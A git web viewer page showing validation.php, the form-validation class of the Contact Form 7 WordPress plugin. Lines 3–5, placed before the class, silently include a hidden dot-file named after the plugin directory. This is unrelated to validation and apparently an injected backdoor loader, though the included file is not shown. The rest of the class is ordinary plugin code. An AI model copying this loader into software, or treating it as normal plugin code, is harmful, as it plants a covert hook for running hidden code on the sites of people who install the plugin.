balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

validation.php (2033B)


      1 <?php
      2 
      3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      4     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      5 }
      6 
      7 class WPCF7_Validation implements ArrayAccess {
      8 	private $invalid_fields = array();
      9 	private $container = array();
     10 
     11 	public function __construct() {
     12 		$this->container = array(
     13 			'valid' => true,
     14 			'reason' => array(),
     15 			'idref' => array(),
     16 		);
     17 	}
     18 
     19 	public function invalidate( $context, $message ) {
     20 		if ( $context instanceof WPCF7_FormTag ) {
     21 			$tag = $context;
     22 		} elseif ( is_array( $context ) ) {
     23 			$tag = new WPCF7_FormTag( $context );
     24 		} elseif ( is_string( $context ) ) {
     25 			$tags = wpcf7_scan_form_tags( array( 'name' => trim( $context ) ) );
     26 			$tag = $tags ? new WPCF7_FormTag( $tags[0] ) : null;
     27 		}
     28 
     29 		$name = ! empty( $tag ) ? $tag->name : null;
     30 
     31 		if ( empty( $name )
     32 		or ! wpcf7_is_name( $name ) ) {
     33 			return;
     34 		}
     35 
     36 		if ( $this->is_valid( $name ) ) {
     37 			$id = $tag->get_id_option();
     38 
     39 			if ( empty( $id )
     40 			or ! wpcf7_is_name( $id ) ) {
     41 				$id = null;
     42 			}
     43 
     44 			$this->invalid_fields[$name] = array(
     45 				'reason' => (string) $message,
     46 				'idref' => $id,
     47 			);
     48 		}
     49 	}
     50 
     51 	public function is_valid( $name = null ) {
     52 		if ( ! empty( $name ) ) {
     53 			return ! isset( $this->invalid_fields[$name] );
     54 		} else {
     55 			return empty( $this->invalid_fields );
     56 		}
     57 	}
     58 
     59 	public function get_invalid_fields() {
     60 		return $this->invalid_fields;
     61 	}
     62 
     63 	public function offsetSet( $offset, $value ) {
     64 		if ( isset( $this->container[$offset] ) ) {
     65 			$this->container[$offset] = $value;
     66 		}
     67 
     68 		if ( 'reason' == $offset
     69 		and is_array( $value ) ) {
     70 			foreach ( $value as $k => $v ) {
     71 				$this->invalidate( $k, $v );
     72 			}
     73 		}
     74 	}
     75 
     76 	public function offsetGet( $offset ) {
     77 		if ( isset( $this->container[$offset] ) ) {
     78 			return $this->container[$offset];
     79 		}
     80 	}
     81 
     82 	public function offsetExists( $offset ) {
     83 		return isset( $this->container[$offset] );
     84 	}
     85 
     86 	public function offsetUnset( $offset ) {
     87 	}
     88 }